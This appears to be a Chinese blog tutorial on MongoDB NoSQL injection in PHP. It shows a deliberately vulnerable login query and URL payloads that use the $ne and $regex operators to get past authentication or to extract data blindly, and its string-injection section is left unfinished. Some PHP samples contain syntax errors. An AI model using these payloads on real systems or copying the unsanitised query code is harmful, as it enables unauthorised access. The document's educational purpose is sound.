0x00 安装

下载:http://dl.mongodb.org/dl/win32/x86_64

安装:http://www.runoob.com/mongodb/mongodb-window-install.html

0x01 MongoDB语法

我们先学习下MongoDB的使用,知己知彼,方能百战百胜,只有了解了对方,才能找寻弱点,一击击破

下面都是以PHP为例

数据库操作基本是增删改查,MongoDB的增删改查怎么个不是SQL呢,下面我们来看一下

<?php

$mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017

$db = $mongo->security; //选择数据库

$coll = $db->users; //选择集合(表)

$coll->save({'id':1,'name':'admin','passwd':'admin'});    //增,新增id=1,name=admin,passwd=admin的数据

$coll->insert({'id':1,'name':'admin','passwd':'admin'});//增,这个也是增
$coll->find({'id':1}); //查,查询id=1的数据 

$coll->remove({'id':1}); //减,删除id=1的数据 

$coll->update({'id':1},{'name':'superadmin'}); //改,将id=1的name改为supername 

?>

大家通过上面应该可以察觉到数据传输是通过json承载的

说明:JSON 是一种轻量级的数据交换格式。它基于 ECMAScript 的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言,它易于人阅读和编写,同时也易于机器解析和生成,并能有效地提升网络传输效率。如:{\"firstName\": \"Brett\", \"lastName\": \"McLaughlin\"}

还有一种执行的方法,是直接执行字符串的

<?php

$mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017

$db = $mongo->security; //选择数据库(表)

$query = "db.users.save({'id':1})";    //增
$query = "db.users.insert({'id':1})"; //增
$query = "db.users.find({'id':1})"; //查 

$query = "db.users.remove({'id':1})"; //减 

$query = "db.users.update({'id':1},{'name','superadmin'})"; 改 

$result = $db->execute($query); 

?>

上面都是连接users表进行操作的。db.users.find({'id':1})这种其实是js的语句,最后通过execute($sql)执行sql操作,execute其实就是执行js语句

针对上面两种执行方式,有不同的注入攻击方式。

0x02 注入攻击

针对上面两种执行方式,分类两种攻击方式:操作符注入、字符串注入 ,详细介绍下注入原理前,先补充知识

比较条件操作符

"$lt", "$lte", "$gt", "$gte", "$ne"
对应于:"<","<=",">",">=","!="

正则操作符

$regex

实际运用

db.items.find({"name" :"admin", "password" : {$ne : "1"}})
#查询name=admin及password不等以1的数据
相当于SQL语句:select * from item where name='admin' and password != 1; db.items.find({"name" :{'$regex':"^a"}})
#查询正则匹配字母a开头的数据

操作符注入

测试代码

<?php

$mongo = new mongoclient();// 连接默认主机和端口为:mongodb://localhost:27017

$db = $mongo->security; //选择数据库

$coll = $db->users; //选择集合(表)

$username = $_GET['username'];
$password = $_GET['password']; $data = array(
'username' => $username,
'password' => $password
);
echo 'data_array->'.$data.PHP_EOL; $coll->find($data); //查,查询id=1的数据
$count = $coll->count();
if($count > 0){
foreach($data as $key => $value){
echo $key.'->'.$value.PHP_EOL;
}
}else{
echo 'NOT FIND.';
} ?>

传入数据?username=test&password=test

输出:username->test password->test

传入的url为:

http://127.0.0.1/mongodb.php?username=test&password=test

执行了语句:

db.users.find({'username':'test','password':'test'});

如果传入参数如下:

http://127.0.0.1/mongodb.php?username[xxx]=test&password=test

则$username就变成了个数组了,我们可以做下试验

<?php

$username = $_GET['username'];
$password = $_GET['password']; $data = array(
'username' => $username,
'password' => $password
); foreach($data as $user => $value){
echo $user."->".$value.PHP_EOL; } ?>

传入:http://127.0.0.1/mongodb.php?username[xxx]=test&password=test

输出:username->Array password->test

可以看出$username变成数组了

数组相当于:

$data = array(
'username'=>array('xxx'=>'test'),
'password'=>'test'); --> $data={'username':{'xxx':'test'},'password':'test'}

这样MongoDB最后执行如下语句:

db.users.find({'username':{'xxx':'test'},'password':'test'});

利用此特性我们可以注入操作符("$lt", "$lte", "$gt", "$gte", "$ne"),完成一些意料之外的操作了

eg:http://127.0.0.1/mongodb.php?username[$ne]=test&password[$ne]=test

这样就可以查询到出test/test的账号密码了

上面传入的参数,相当于执行的MongoDB语句:

db.users.find({'username':{'$ne':'test'},'password':{'$ne':'test'}});

相当于sql语句:

select * from users where usrname != 'test' and password != 'test';

上面的例子是有回显的,那如果没有回显呢,我们传统SQL注入的这种情况就是盲注了,NoSql是否也有呢?有的。

利用上面介绍的正则操作符$regex

eg:http://127.0.0.1/mongodb.php?username[$regex]=^a&password[$regex]=^b

上面传入的参数,相当于执行的MongoDB语句:

db.users.find({'username':{'$regex':'^a'},'password':{'$regex':'^b'}});

意思是查询username以字符a开头及password以字符b开头的数据。^o^

字符串注入

这个就是利用execute方法执行js写的查询

【未完待续】

[NoSql注入] MongoDB学习的更多相关文章

  1. NoSQL数据库-MongoDB 学习(一)

    基本介绍 MongoDB 是为了快速开发互联网 Web 应用而设计的数据库系统 MongoDB 的设计目标是极简.灵活.作为 Web 应用栈的一部分 MongoDB 的数据模型是面向文档的,所谓文档是 ...

  2. SQL注入 基础学习

    SQL注入学习笔记 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有 ...

  3. Mongodb学习笔记一(Mongodb环境配置)

    Mongodb学习 说明: MongoDB由databases组成,database由collections组成,collection由documents组成,document由fileds组成.Mo ...

  4. MongoDB学习记录

    一.操作符 "$lt" :"<""$lte" :"<=""$gt" :"> ...

  5. NoSQL 数据库产品学习总结(一)

    NoSQL 数据库产品学习总结(一) 本篇文章共分为四个章节,会陆续整理下 Memcached.Redis.tair.mongodb.hbase.SequoiaDB. Cassandra的相关知识. ...

  6. MongoDB学习笔记-认识MongoDB

    学习参考地址 http://www.runoob.com/mongodb NoSql 流行的数据库Oracle,SqlServer,MySql为关系性数据库,相对的,也有非关系性数据库,统称为NoSq ...

  7. MongoDB学习2

    MongoDB学习(翻译2) C#驱动之LINQ教程 介绍 本教程涵盖了1.8发布版本对linq查询的支持. 开始本教程之前,你应该至少阅读下C#驱动教程关于C#驱动的介绍 快速开始 首先,添加下面命 ...

  8. NoSQL注入的分析和缓解

    本文要点介绍: 1.了解针对NoSQL的新的安全漏洞 2.五类NoSQL攻击手段,比如重言式.联合查询.JavaScript 注入.背负式查询(Piggybacked queries),以及跨域违规 ...

  9. MongoDB 学习笔记(原创)

    MongoDB 学习笔记 mongodb 数据库 nosql 一.数据库的基本概念及操作 SQL术语/概念 MongoDB术语/概念 解释/说明 database database 数据库 table ...

随机推荐

  1. leetcode 146LRU cache

    class LRUCache { public: LRUCache(int capacity) {_capacity=capacity;} //返回key对应的value int get(int ke ...

  2. Pycharm 常用快捷键-Windows版

    常用快捷键: Ctrl + / 行注释(可选中多行) Ctrl + Alt + L 代码格式化 Tab / Shift + Tab 缩进.不缩进当前行(可选中多行) Ctrl + D 复制选定的区域 ...

  3. I/O检测介绍

    I/O性能监测可总结如下:* 任何时间出现CPU等待IO,说明磁盘超载.* 计算出你的磁盘可维持的IOPS值.* 判定你的应用是属于随机磁盘访问型还是有序型.* 通过对比等待时间和服务时间即可判断磁盘 ...

  4. 使程序在Linux下后台运行,程序运行前后台切换

    一.为什么要使程序在后台执行 我们计算的程序都是周期很长的,通常要几个小时甚至一个星期.我们用的环境是用putty远程连接到日本Linux服务器.所以使程序在后台跑有以下三个好处: 1:我们这边是否关 ...

  5. java:HTML(table表格,ul列表)和CSS(导入.css文件,三种定义颜色方式,三种样式选择器,a标签属性顺序,)

    1.重点掌握: html: 1.form表单:input,checkbox,seelct,radio,button,submit 2.table表格:thead-->tr-->th;tbo ...

  6. 【FICO系列】SAP FICO折旧记账时出现错误:没有找到与所做选择一致的数据

    公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[FICO系列]SAP FICO折旧记账时出现错 ...

  7. es5实现数组去重

    var a = [1, 2, 4, 4, 3, 3, 1, 5, 3] console.log(a.filter((item, index, arr) => { return arr.index ...

  8. 红帽学习笔记[RHCE]OpenLDAP 服务端与客户端配置

    目录 OpenLDAP 服务端与客户端配置 关于LDIF 一个LDIF基本结构一个条目 属性 Object的类型 服务端 安装 生成证书 生成默认数据 修改基本的配置 导入基础数据 关于ldif的格式 ...

  9. [Python3] 027 常用模块 time

    目录 time 1. 时间戳 2. UTC 时间 3. 夏令时 4. 时间元组 5. 举例 5.1 例子1 例子2 例子3 例子4 例子5 例子6 例子7 time 1. 时间戳 一个时间表示,根据不 ...

  10. 【Linux 网络编程】常用套接字类型

    常用套接字类型<1>流式套接字(SOCK_STREAM)---TCP      提供面向连接的.可靠的传输服务,数据无差错,无重复的发送,      且按发送顺序接收.<2>数 ...